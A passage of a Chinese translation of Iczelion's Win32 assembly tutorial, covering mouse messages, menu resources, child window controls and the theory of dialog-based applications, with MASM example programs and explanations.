和处理键盘输入一样，WINDOWS将捕捉鼠标动作并把它们发送到相关窗口。这些活动包括左、右键按下、移动、双击等(译者注：新式鼠标还包括滚轮消息WM_WHEEL)。WINDOWS并不像处理键盘输入那样把所有的鼠标消息都导向有输入焦点的窗口，任何鼠标经过的窗口都将接收到鼠标消息，无论有否输入焦点。另外，窗口还会接收到鼠标在非客户区移动的消息（WM_NCMOVE），但大多数的情况下我们都会将其忽略掉。 对鼠标的每一个按钮都有两个消息：WM_LBUTTONDOWN,WM_RBUTTONDOWN 。对于三键鼠标还会有WM_MBUTTONDOWN和WM_MBUTTONUP消息，当鼠标在某窗口客户区移动时，该窗口将接收到WM_MOUSEMOVE消息。一个窗口若想处理WM_LBUTTONDBCLK或 WM_RBUTTONDBCLK，那么它的窗口类必须有CS_DBLCLKS风格，否则它就会接受到一堆的按键起落（WM_XBUTTONDOWN或WM_XBUTTONUP)的消息。 对于所有的消息，窗口过程函数传入的参数lParam包含了鼠标的位置，其中底位为x坐标，高位为y坐标，这些坐标值都是相对于窗口客户区的左上角的值，wParam中则包含了鼠标按钮的状态。

例子：

.386
.model flat,stdcall
option casemap:none

WinMain proto :DWORD,:DWORD,:DWORD,:DWORD

include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\gdi32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\gdi32.lib

.data
ClassName db "SimpleWinClass",0
AppName db "Our First Window",0
MouseClick db 0 ; 0=no click yet

.data?
hInstance HINSTANCE ?
CommandLine LPSTR ?
hitpoint POINT <>

.code
start:
invoke GetModuleHandle, NULL
mov hInstance,eax
invoke GetCommandLine
mov CommandLine,eax
invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
invoke ExitProcess,eax

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
LOCAL hwnd:HWND
mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInst
pop wc.hInstance
mov wc.hbrBackground,COLOR_WINDOW+1
mov wc.lpszMenuName,NULL
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,NULL,IDI_APPLICATION
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc
invoke CreateWindowEx,NULL,ADDR ClassName,ADDR AppName,\
WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,\
CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,NULL,NULL,\
hInst,NULL
mov hwnd,eax
invoke ShowWindow, hwnd,SW_SHOWNORMAL
invoke UpdateWindow, hwnd
.WHILE TRUE
invoke GetMessage, ADDR msg,NULL,0,0
.BREAK .IF (!eax)
invoke DispatchMessage, ADDR msg
.ENDW
mov eax,msg.wParam
ret
WinMain endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
LOCAL hdc:HDC
LOCAL ps:PAINTSTRUCT

.IF uMsg==WM_DESTROY
invoke PostQuitMessage,NULL
.ELSEIF uMsg==WM_LBUTTONDOWN
mov eax,lParam
and eax,0FFFFh
mov hitpoint.x,eax
mov eax,lParam
shr eax,16
mov hitpoint.y,eax
mov MouseClick,TRUE
invoke InvalidateRect,hWnd,NULL,TRUE
.ELSEIF uMsg==WM_PAINT
invoke BeginPaint,hWnd, ADDR ps
mov hdc,eax
.IF MouseClick
invoke lstrlen,ADDR AppName
invoke TextOut,hdc,hitpoint.x,hitpoint.y,ADDR AppName,eax
.ENDIF
invoke EndPaint,hWnd, ADDR ps
.ELSE
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.ENDIF
xor eax,eax
ret
WndProc endp
end start

分析：

.ELSEIF uMsg==WM_LBUTTONDOWN
mov eax,lParam
and eax,0FFFFh
mov hitpoint.x,eax
mov eax,lParam
shr eax,16
mov hitpoint.y,eax
mov MouseClick,TRUE
invoke InvalidateRect,hWnd,NULL,TRUE

窗口过程处理了WM_LBUTTONDOWN消息，当接收到该消息时，lParam中包含了相对于窗口客户区左上角的坐标，我们把它保存下来，放到一个结构体变量（POINT）中，该结构体变量的定义如下：

POINT STRUCT
x dd ?
y dd ?
POINT ENDS

然后我们把标志量MouseClick设为TRUE，这表明至少有一次在客户区的左键按下消息。

mov eax,lParam
and eax,0FFFFh
mov hitpoint.x,eax

由于lParam是一个32位长的数，其中高、底16位分别包括了x、y坐标所以我们做一些小处理，以便保存它们。

shr eax,16
mov hitpoint.y,eax
保存完坐标后我们设标志MouseClick为TRUE，这是在处理WM_PAINT时用来判断是否有鼠标左键按下消息。然后我们调用InvalidateRect（）函数迫使WINDOWS重新绘制客户区。

.IF MouseClick
invoke lstrlen,ADDR AppName
invoke TextOut,hdc,hitpoint.x,hitpoint.y,ADDR AppName,eax
.ENDIF

绘制客户区的代码首先检测MouseClick标志位，再决定是否重绘。因为我们在首次显示窗口时还没有左键按下的消息，所以我们在初始时把该标志设为FALSE，告诉WINDOWS不要重绘客户区，当有左键按下的消息时，它会在鼠标按下的位置绘制字符串。注意在调用TextOut（）函数时，其关于字符串长度的参数是调用lstrlen（）函数来计算的。

翻译：Lxx，校对：LuoYunBin's Win32 ASM Page，http://asm.yeah.net


Iczelion's win32 asm tutorial

第八课 菜单

本课中我们将在我们的应用程序中加入一个菜单。

理论：

菜单可以说是WINDOWS最重要的元素之一。有了它，用户可以方便地选择操作命令.用户只要细读一下所有的菜单项就可以明了应用程序所提供的大概功能,而且可以立即操作,无须去阅读手册了.正因为菜单给了用户一种方便的方式,所以您在应用程序中加入菜单时就要遵守一般的标准.譬如:一般头两个菜单项是"File"和"Edit",最后是"Help",您可以在这中间插入您要定义的菜单项.如果所运行的菜单命令会弹出一个对话框,那么就要在该菜单项后加入省略符(...).菜单是一种资源,除菜单外还有其它像对话框,字符串,图标,位图资源等.在链接时链接程序将把资源加入到可执行程序中去,最后我们的执行程序中就既包括机器指令又包括了资源. 您可以在任何文本编辑器中编写脚本文件,在文件中您可以指定资源呈现出来的外观和其它的一些属性.当然更直观的方法是用资源编辑器,通常资源编辑器都打包在编译环境中,像Visual C++, Borland C++等都带了资源编辑器. 我们可以按以下方式来定义一个菜单资源：
    MyMenu MENU
    {
    [menu list here]
    }
这和C语言中的结构体的定义非常相似。 MyMenu类似于被定义的变量，而MENU则类似于关键字。当然您可以用另外一种办法，那就是用BEGIN和END来代替花括号，这和PASCAL语言中的风格相同。
在菜单项的列表中是一大串的MENUITEM和POPUP语句。MENUITEM定义了一个菜单项，当选择后不会激活对话框。它的语法如下：
    MENUITEM "&text", ID [,options]
它由关键字MENUITEM开头，紧跟在MENUITEM后的是指菜单项的名称字符串，符号“&“后的第一个字符将会带下画线，它也是该菜单项的快捷键。ID的作用当该菜单被选中时，WINDOWS的消息处理过程用来区分菜单项用的。毫无疑问，ID号必须唯一。options有以下可供选择的属性：
  • GRAYED 代表该菜单项处于非激活状态，即当其被选中时不会产生WM_COMMAND消息。该菜单以灰色显示。
  • INACTIVE 代表该菜单项处于非激活状态，即当其被选中时不会产生WM_COMMAND消息。该菜单以正常颜色显示。
  • MENUBREAK 该菜单项和随后的菜单项会显示在新列中。（译者注：比较难描述，请做实验。）
  • HELP 该菜单项和随后的菜单项右对齐。（译者注：我在WINDOWS2000下编译有该标志的菜单项，该标志好像没起作用）
您可以单独使用以上标志位，也可以把它们或在一起。当然INACTIVE和GRAYED不能同时使用。 POPUP的语法如下：
POPUP "&text" [,options]
{
[menu list]
}
POPUP定义了一个菜单项当该菜单项被选中时又会弹出一个子菜单。另外有一种特别类型的MENUITEM语句MENUITEM SEPARATOR，它表示在菜单项位置画一条分隔线。 定义完菜单后，您就可以在程序中使用脚本中定义的菜单资源了。 您可以在程序的两个地方（或叫做用两种方式）使用它们：
  • 在WNDCLASSEX结构体的成员lpszMenuName中。譬如，您有一个菜单“FirstMenu“，您可以按如下方法把它联系到您的窗口：
        • .DATA
          MenuName db "FirstMenu",0
        ...........................
        ...........................
        .CODE
          ...........................
          mov wc.lpszMenuName, OFFSET MenuName
          ...........................
  • 在CreateWindowEx函数中指明菜单的句柄：
        • .DATA
          MenuName db "FirstMenu",0
          hMenu HMENU ?
        ...........................
        ...........................
        .CODE
          ...........................
          invoke LoadMenu, hInst, OFFSET MenuName
          mov hMenu, eax
          invoke CreateWindowEx,NULL,OFFSET ClsName,\
          OFFSET Caption, WS_OVERLAPPEDWINDOW,\
          CW_USEDEFAULT,CW_USEDEFAULT,\
          CW_USEDEFAULT,CW_USEDEFAULT,\
          NULL,\
          hMenu,\
          hInst,\
          NULL\
          ...........................
您也许会问，这两着之间有什么不同呢？当您用第一种方法时，由于是在窗口类中指定，故所有由该窗口类派生的窗口都将有相同的菜单。如果您想要从相同的类中派生的窗口有不同的菜单那就要使用第二中方法，该方法中通过函数CreateWindowEx指定的菜单会“覆盖”WNDCLASSEX结构体中指定的菜单。 接下来我们看看当用户选择了一个菜单项时它是如何通知WINDOWS 窗口过程的： 当用户选择了一个菜单项时，WINDOWS窗口过程会接收到一个WM_COMMAND消息，传进来的参数wParam的底字节包含了菜单项的ID号。 好了，上面就是关于菜单项的一切，下面我们就来实践。

例子：

第一个例子显示了指定一个菜单项的第一种方法：

.386
.model flat,stdcall
option casemap:none

WinMain proto :DWORD,:DWORD,:DWORD,:DWORD

include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib

.data
ClassName db "SimpleWinClass",0
AppName db "Our First Window",0
MenuName db "FirstMenu",0 ; The name of our menu in the resource file.
Test_string db "You selected Test menu item",0
Hello_string db "Hello, my friend",0
Goodbye_string db "See you again, bye",0

.data?
hInstance HINSTANCE ?
CommandLine LPSTR ?

.const
IDM_TEST equ 1 ; Menu IDs
IDM_HELLO equ 2
IDM_GOODBYE equ 3
IDM_EXIT equ 4

.code
start:
invoke GetModuleHandle, NULL
mov hInstance,eax
invoke GetCommandLine
mov CommandLine,eax
invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
invoke ExitProcess,eax

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
LOCAL hwnd:HWND
mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInst
pop wc.hInstance
mov wc.hbrBackground,COLOR_WINDOW+1
mov wc.lpszMenuName,OFFSET MenuName ; Put our menu name here
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,NULL,IDI_APPLICATION
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc
invoke CreateWindowEx,NULL,ADDR ClassName,ADDR AppName,\
WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,\
CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,NULL,NULL,\
hInst,NULL
mov hwnd,eax
invoke ShowWindow, hwnd,SW_SHOWNORMAL
invoke UpdateWindow, hwnd
.WHILE TRUE
invoke GetMessage, ADDR msg,NULL,0,0
.BREAK .IF (!eax)
invoke DispatchMessage, ADDR msg
.ENDW
mov eax,msg.wParam
ret
WinMain endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
.IF uMsg==WM_DESTROY
invoke PostQuitMessage,NULL
.ELSEIF uMsg==WM_COMMAND
mov eax,wParam
.IF ax==IDM_TEST
invoke MessageBox,NULL,ADDR Test_string,OFFSET AppName,MB_OK
.ELSEIF ax==IDM_HELLO
invoke MessageBox, NULL,ADDR Hello_string, OFFSET AppName,MB_OK
.ELSEIF ax==IDM_GOODBYE
invoke MessageBox,NULL,ADDR Goodbye_string, OFFSET AppName, MB_OK
.ELSE
invoke DestroyWindow,hWnd
.ENDIF
.ELSE
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.ENDIF
xor eax,eax
ret
WndProc endp
end start
**************************************************************************************************************************

Menu.rc
**************************************************************************************************************************

#define IDM_TEST 1
#define IDM_HELLO 2
#define IDM_GOODBYE 3
#define IDM_EXIT 4

FirstMenu MENU
{
POPUP "&PopUp"
{
MENUITEM "&Say Hello",IDM_HELLO
MENUITEM "Say &GoodBye", IDM_GOODBYE
MENUITEM SEPARATOR
MENUITEM "E&xit",IDM_EXIT
}
MENUITEM "&Test", IDM_TEST
}

分析:

我们先来分析资源文件：
#define IDM_TEST 1 /* equal to IDM_TEST equ 1*/
#define IDM_HELLO 2
#define IDM_GOODBYE 3
#define IDM_EXIT 4
上面的几行定义了菜单项的ID号。只要注意菜单项ID号必须唯一外，您可以给ID号任何值。

FirstMenu MENU

用关键字MENU定义菜单。

POPUP "&PopUp"
{
MENUITEM "&Say Hello",IDM_HELLO
MENUITEM "Say &GoodBye", IDM_GOODBYE
MENUITEM SEPARATOR
MENUITEM "E&xit",IDM_EXIT
}

定义一个有四个菜单项的子菜单，其中第三个菜单项是一个分隔线。

MENUITEM "&Test", IDM_TEST

定义主菜单中的一项。下面我们来看看源代码。

MenuName db "FirstMenu",0 ; The name of our menu in the resource file.
Test_string db "You selected Test menu item",0
Hello_string db "Hello, my friend",0
Goodbye_string db "See you again, bye",0
MenuName是资源文件中指定的菜单的名字。因为您可以在脚本文件中定义任意多个菜单，所以在使用前必须指定您要使用那一个，接下来的行是在选中菜单项时显示在相关对话框中的字符串。
IDM_TEST equ 1 ; Menu IDs
IDM_HELLO equ 2
IDM_GOODBYE equ 3
IDM_EXIT equ 4
定义用在WINDOWS窗口过程中的菜单项ID号。这些值必须和脚本文件中的相同。

.ELSEIF uMsg==WM_COMMAND
mov eax,wParam
.IF ax==IDM_TEST
invoke MessageBox,NULL,ADDR Test_string,OFFSET AppName,MB_OK
.ELSEIF ax==IDM_HELLO
invoke MessageBox, NULL,ADDR Hello_string, OFFSET AppName,MB_OK
.ELSEIF ax==IDM_GOODBYE
invoke MessageBox,NULL,ADDR Goodbye_string, OFFSET AppName, MB_OK
.ELSE
invoke DestroyWindow,hWnd
.ENDIF

在本窗口过程中我们处理WM_COMMAND消息。当用户选择了一个菜单项时，该菜单项的ID放入参数wParam中被同时送到WINDOWS的窗口过程，我们把它保存到eax寄存器中以便和预定义的菜单项ID比较用。前三种情况下，当我们选中Test、Say Hello、Say GoodBye菜单项时，会弹出一个对话框其中显示一个相关的字符串，选择Exit菜单项时，我们就调用函数DestroyWindow，其中的参数是我们窗口的句柄，这样就销毁了窗口。 就像您所看到的，通过在一个窗口类中指定菜单名的方法来给一个应用程序生成一个菜单是简单而直观的。除此方法外您还可以用另一种方法，其中资源文件是一样的，源文件中也只有少数的改动，这些改动如下：

.data?
hInstance HINSTANCE ?
CommandLine LPSTR ?
hMenu HMENU ? ; handle of our menu
定义了一个变量来保存我们的菜单的句柄，然后：

invoke LoadMenu, hInst, OFFSET MenuName
mov hMenu,eax
INVOKE CreateWindowEx,NULL,ADDR ClassName,ADDR AppName,\
WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,\
CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,NULL,hMenu,\
hInst,NULL

调用LoadMenu函数，该函数需要实例句柄和菜单名的字符串，调用的结果返回指向菜单的句柄，然后传给函数CreateWindowEx刚返回的菜单句柄就可以了。

翻译：Lxx，校对：LuoYunBin's Win32 ASM Page，http://asm.yeah.net


Iczelion's win32 asm tutorial

第九课 子窗口控件

本课中我们将探讨控件，这些控件是我们程序主要的输入输出设备。

理论：

WINDOWS 提供了几个预定义的窗口类以方便我们的使用。大多数时间内，我们把它们用在对话框中，所以我们一般就它们叫做子窗口控件。子窗口控件会自己处理消息，并在自己状态发生改变时通知父窗口。这样就大大地减轻了我们的编程工作，所以我们应尽可能地利用它们。本课中我们把这些控件放在窗口中以简化程序，但是大多数时间内子窗口控件都是放在对话框中的。 我们示例中演示的子窗口控件包括：按钮、下拉菜单、检查框、单选按钮、编辑框等。 使用子窗口控件时，先调用CreateWindow 或 CreateWindowEx。在这里由于WINDOWS 已经注册了这些子控件，所以无须我们再注册。当然我们不能改变它们的类名称。譬如：如果您想产生一个按钮，在调用上述两个函数时就必须指定类名为"button"。其他必须指定的参数还有父窗口的句柄和将要产生的子控件的ID号。子控件的ID号是用来标识子控件的，故也必须是唯一 的。子控件产生后，当其状态改变时将会向父窗口发送消息。一般我们应在父窗口的WM_CREATE消息中产生字控件。子控件向父窗口发送的消息是WM_COMMAND，并在传递的参数wPara的底位中包括控件的ID号，消息号在wParam的高位，lParam中则包括了子控件的窗口的句柄。各类控件有不同的消息代码集，详情请参见WIN32 API参考手册。 父窗口也可以通过调用函数SendMessage向子控件发送消息，其中第一个参数是子控件的窗口句柄，第二个参数是要发送的消息号，附加的参数可以在wParam和lParam中传递，其实只要知道了某个窗口的句柄就可以用该函数向其发送相关消息。 所以产生了子窗口后必须处理WM_COMMAND消息以便可以接收到子控件的消息。

例子：

我们将产生一个窗口，在该窗口中有一个编辑框和一个按钮。当您按下按钮时 ，会弹出一个对话框其中显示了您在编辑框中输入的内容。另外，该应用程序还有一个菜单，其中有四个菜单项：
  1. Say Hello -- 把一个字符串输入编辑控件；
  2. Clear Edit Box -- 清除编辑控件中的字符串；
  3. Get Text -- 弹出对话框显示编辑控件中的字符串；
  4. Exit -- 退出应用程序。
.386
.model flat,stdcall
option casemap:none

WinMain proto :DWORD,:DWORD,:DWORD,:DWORD

include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib

.data
ClassName db "SimpleWinClass",0
AppName db "Our First Window",0
MenuName db "FirstMenu",0
ButtonClassName db "button",0
ButtonText db "My First Button",0
EditClassName db "edit",0
TestString db "Wow! I'm in an edit box now",0

.data?
hInstance HINSTANCE ?
CommandLine LPSTR ?
hwndButton HWND ?
hwndEdit HWND ?
buffer db 512 dup(?) ; buffer to store the text retrieved from the edit box

.const
ButtonID equ 1 ; The control ID of the button control
EditID equ 2 ; The control ID of the edit control
IDM_HELLO equ 1
IDM_CLEAR equ 2
IDM_GETTEXT equ 3
IDM_EXIT equ 4

.code
start:
invoke GetModuleHandle, NULL
mov hInstance,eax
invoke GetCommandLine
mov CommandLine,eax
invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
invoke ExitProcess,eax

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
LOCAL hwnd:HWND
mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInst
pop wc.hInstance
mov wc.hbrBackground,COLOR_BTNFACE+1
mov wc.lpszMenuName,OFFSET MenuName
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,NULL,IDI_APPLICATION
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc
invoke CreateWindowEx,WS_EX_CLIENTEDGE,ADDR ClassName, \
ADDR AppName, WS_OVERLAPPEDWINDOW,\
CW_USEDEFAULT, CW_USEDEFAULT,\
300,200,NULL,NULL, hInst,NULL
mov hwnd,eax
invoke ShowWindow, hwnd,SW_SHOWNORMAL
invoke UpdateWindow, hwnd
.WHILE TRUE
invoke GetMessage, ADDR msg,NULL,0,0
.BREAK .IF (!eax)
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
.ENDW
mov eax,msg.wParam
ret
WinMain endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
.IF uMsg==WM_DESTROY
invoke PostQuitMessage,NULL
.ELSEIF uMsg==WM_CREATE
invoke CreateWindowEx,WS_EX_CLIENTEDGE, ADDR EditClassName,NULL,\
WS_CHILD or WS_VISIBLE or WS_BORDER or ES_LEFT or\
ES_AUTOHSCROLL,\
50,35,200,25,hWnd,8,hInstance,NULL
mov hwndEdit,eax
invoke SetFocus, hwndEdit
invoke CreateWindowEx,NULL, ADDR ButtonClassName,ADDR ButtonText,\
WS_CHILD or WS_VISIBLE or BS_DEFPUSHBUTTON,\
75,70,140,25,hWnd,ButtonID,hInstance,NULL
mov hwndButton,eax
.ELSEIF uMsg==WM_COMMAND
mov eax,wParam
.IF lParam==0
.IF ax==IDM_HELLO
invoke SetWindowText,hwndEdit,ADDR TestString
.ELSEIF ax==IDM_CLEAR
invoke SetWindowText,hwndEdit,NULL
.ELSEIF ax==IDM_GETTEXT
invoke GetWindowText,hwndEdit,ADDR buffer,512
invoke MessageBox,NULL,ADDR buffer,ADDR AppName,MB_OK
.ELSE
invoke DestroyWindow,hWnd
.ENDIF
.ELSE
.IF ax==ButtonID
shr eax,16
.IF ax==BN_CLICKED
invoke SendMessage,hWnd,WM_COMMAND,IDM_GETTEXT,0
.ENDIF
.ENDIF
.ENDIF
.ELSE
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.ENDIF
xor eax,eax
ret
WndProc endp
end start

分析：

我们现在开始分析，
    .ELSEIF uMsg==WM_CREATE
    invoke CreateWindowEx,WS_EX_CLIENTEDGE, \
    ADDR EditClassName,NULL,\
    WS_CHILD or WS_VISIBLE or WS_BORDER or ES_LEFT\
    or ES_AUTOHSCROLL,\
    50,35,200,25,hWnd,EditID,hInstance,NULL
    mov hwndEdit,eax
    invoke SetFocus, hwndEdit
    invoke CreateWindowEx,NULL, ADDR ButtonClassName,\
    ADDR ButtonText,\
    WS_CHILD or WS_VISIBLE or BS_DEFPUSHBUTTON,\
    75,70,140,25,hWnd,ButtonID,hInstance,NULL
    mov hwndButton,eax
我们在WM_CREATE中产生子控件，其中在函数CreateWindowEx中给子控件窗口一个WS_EX_CLIENTEDGE风格，它使得子控件窗口看上去边界下凹，具有立体感。每一个子控件的类名都是预定义的，譬如：按钮的预定义类名是"button"，编辑框是"edit"。接下来的参数是窗口风格，除了通常的窗口风格外，每一个控件都有自己的扩展风格，譬如：按钮类的扩展风格前面加有BS_，编辑框类则是：ES_，WIN32 API 参考中有所有的扩展风格的描述。注意：您在CreateWindowsEx函数中本来要传递菜单句柄的地方传入子窗口空间的ID号不会有什么副作用，因为子窗口控件本身不能有菜单。产生控件后，我们保存它们的句柄，然后调用SetFocus把焦点设到编辑控件上以便用户立即可以输入。 接下来的是如何处理控件发送的通知消息WM_COMMAND：

.ELSEIF uMsg==WM_COMMAND
mov eax,wParam
.IF lParam==0

我们以前讲过选择菜单想也会发送WM_COMMAND 消息，那我们应如何区分呢？看了下表您就会一目了然：

 | Low word of wParam | High word of wParam | lParam
Menu | Menu ID | 0 | 0
Control | Control ID | Notification code | Child Window Handle

其中我们可以看到不能用wParam来区分，因为菜单和控件的ID号可能相同，而且子窗口空间的消息号也有可能为0。

.IF ax==IDM_HELLO
invoke SetWindowText,hwndEdit,ADDR TestString
.ELSEIF ax==IDM_CLEAR
invoke SetWindowText,hwndEdit,NULL
.ELSEIF ax==IDM_GETTEXT
invoke GetWindowText,hwndEdit,ADDR buffer,512
invoke MessageBox,NULL,ADDR buffer,ADDR AppName,MB_OK

您可以调用SetWindowText函数把一字符串繁缛到编辑控件中去，为了清0，传入NULL值。SetWindowText是一个通用函数，即可以用它来设定一个窗口的标题，也可以用它来改变一个按钮上的文字。如果是要得到按钮上的文字，则调用GetWindowText。

.IF ax==ButtonID
shr eax,16
.IF ax==BN_CLICKED
invoke SendMessage,hWnd,WM_COMMAND,IDM_GETTEXT,0
.ENDIF
.ENDIF

上面的片段是处理用户按钮事件的。他首先检查wParam的高字节看是否是按钮的ID 号，若是则检查低字节看发送的消息号是否BN_CLICKED，该消息是在按钮按下时发送的，如果一切都对，则转入处理该消息，我们可以从处理消息IDM_GETTEXT处复制全部的代码，但是更专业的办法是在发送一条IDM_GETTEXT消息让主窗口过程处理，这只要把传送的消息设置为WM_COMMAND，再把wParam的低字节中设置为IDM_GETTEXT即可。这样一来您的代码就简洁了许多，所以尽可能利用该技巧。 最后，当然不是或有或无，必须在消息循环中调用函数TranslateMessage，因为您的应用程序需要在编辑框中输入可读的文字。如果省略了该函数，就不能在编辑框中输入任何东西。

翻译：Lxx，校对：LuoYunBin's Win32 ASM Page，http://asm.yeah.net


Iczelion's win32 asm tutorial

第十课 以对话框为主要界面的应用程序

现在我们开始学习一些有关GUI编程的有趣的部分， 即：以对话框为主要界面的应用程序。我们将分两课来讲述这一过程

理论：

如果您仔细关注过前一个程序就会发现：您无法按TAB键从一个子窗口控件跳到另一个子窗口控件，要想转移的话只有 用鼠标一下一下地去点击。对用户来说这是不友好的。另一件事是如果您象前一课中那样把主窗口的背景色从白色改成 灰色，为了子窗口控件无缝地作相应地改变，您必须细分类所有子窗口。 造成上述诸多不便的原因是子窗口控件本来是为对话框而设计的，象子窗口控件的背景色是灰色的，而对话框的背景色也是 灰色的，这样它们本来就相互协调了，而无须程序员加入其他的处理。 在我们深入讨论对话框前我们必须知道何谓对话框。一个对话框其实是有很多的子窗口控件的一个窗口，WINDOWS在对话框 内部有一个管理程序，由其来处理象按下TAB键则输入焦点从一个子窗口空间条到另一个子窗口控件、按下ENTER键等于在当 前具有输入焦点的子窗口控件上点击了鼠标 等等这些杂事，这样程序员就可以集中精力于他们的逻辑事务了。对话框主要用 作输入输出接口，人们无须知道它们内部的工作原理，而只要知道如何和他们进行交互就可以了。这也是面向对象设计中的 所谓信息隐藏。只要这个黑盒子中的实现足够完美，我们就可以放心地使用，当然我们必须强调的是“黑盒子”必须完美。 WIN32 API 内部 的实现即是一个“黑盒子”。 噢，好象我们的讨论有些走题，现在让我们回到正题来，对话框的设计是为了减少程序员的工作量的，一般您如果在窗口中 自己放一个子窗口控件您就必须自己处理其中的按键逻辑和细分类它的窗口过程。如果您把它放到对话框中，则这些杂事 对话框会自己处理，您只要知道如何获得用户输入的数据和如何把数据放入到子窗口控件中去就可以了。 在程序中对话框和菜单一样被定义成一种资源，您可以在脚本文件中写一个对话框模板，其中包含该对话框和子窗口的特性， 然后用资源编辑器编辑。需要注意的是所有的资源必须放在同一个脚本文件中。 虽然可以用文本编辑器去编辑脚本文件，但是象要调整子窗口控件位置时要涉及到一些坐标值时最好还是用一些可视化的编 辑器，这样方便多了。一般在编译器的开发包中都会带资源编辑器，您可以用它们来产生一个模板然后增删一些子窗口控件。 有两种主要的对话框：模式对话框和无模式对话框。无模式对话框允许您把输入焦点切换到（同一个应用程序的）另一个窗口，而该对话框无须关闭 。比如MS WORD 中的FIND对话框。模式对话框又有两类：应用程序模式对话框和系统对话框。应用程序对话框不允许您在本 应用程序中切换输入焦点，但是可以切换到其它的应用程序中去，而系统对话框则必须您对该对话框做出响应否则不能切换到 任何的应用程序中去。要创建一个无模式对话框调用API函数CreateDialogParam，而创建一个模式对话框则调用API函数DialogBoxParam。 其中应用程序模式对话框和系统模式对话框之间的差别是style参数不同，要想创建一个系统模式对话框该参数必须“或”上 DS_SYSMODAL标志位。在对话框中若要和子窗口控件通讯则调用函数SendDlgItemMesage。该函数的语法如下：

SendDlgItemMessage proto hwndDlg:DWORD,\
idControl:DWORD,\
uMsg:DWORD,\
wParam:DWORD,\
lParam:DWORD
该PAI函数对于用在向子窗口控件发送方面是非常有用的。譬如:如果您想得到编辑控件中的字符串可以这么做:
call SendDlgItemMessage, hDlg, ID_EDITBOX, WM_GETTEXT, 256, ADDR text_buffer
具体要发送那些消息应当查询有关的WIN32 API 参考手册。 WINDOWS 还 提供几个快速存取控件数据的函数。譬如：GetDlgItemText、CheckDlgButton等。这样一来，您就可以不用去查询每个消息的wParam和lParam参数获得相关信息了。您应尽可能地使用这些API 函数，这样使得您的代码将来比较容易维护。 对话框的管理函数会把一些消息发送给一个特定的回调函数：对话框过程处理函数，该函数的格式为：
DlgProc proto hDlg:DWORD ,\
iMsg:DWORD ,\
wParam:DWORD ,\
lParam:DWORD
该函数的格式非常类似于窗口的过程函数，除了返回值是TURE和FALSE，而不是HRESULT，存在于WINDOWS内部的对话框管理器才是对话框真正的窗口过程函数。它会把某些消息传递给我们的窗口过程函数。所以当我们的窗口过程函数处理这些消息时就返回TTRUE，否则就在eax中返回FALSE。这也意味着我们的窗口过程函数在接受到自己不处理的消息时并不会调用DefWindowProc函数，因为它本身不是一个真正的窗口过程函数。 对于对话框有两种用法：一种是把它作为一个主窗口来用，一种是把它作为一种输入输出设备使用。本课中我们将示范第一种用法。“把对话框用作主窗口”有两种意思： 1。您可以调用RegisterClassEx函数把对话框模板注册为一个窗口类。这样该对话框的行为就类似于一个普通的窗口了：它通过在注册窗口时指定的窗口过程来处理所有的消息，通过这种方法来使用对话框的好处是您不需要显示地创建子窗口控件，WINDOWS本身会帮您创建好，另外还会帮您处理所有的按键逻辑，另外您还可以指定您窗口类结构中的光标和图标； 2。您的应用程序创建没有父窗口的对话框窗口，这种方法中，没有必要需要一段处理消息循环的代码，因为所有的消息被直接送到对话框过程处理函数，这样您也可以不要注册一个窗口类。 本课中我门将先使用第一种方法然后使用第二中方法。

例子：

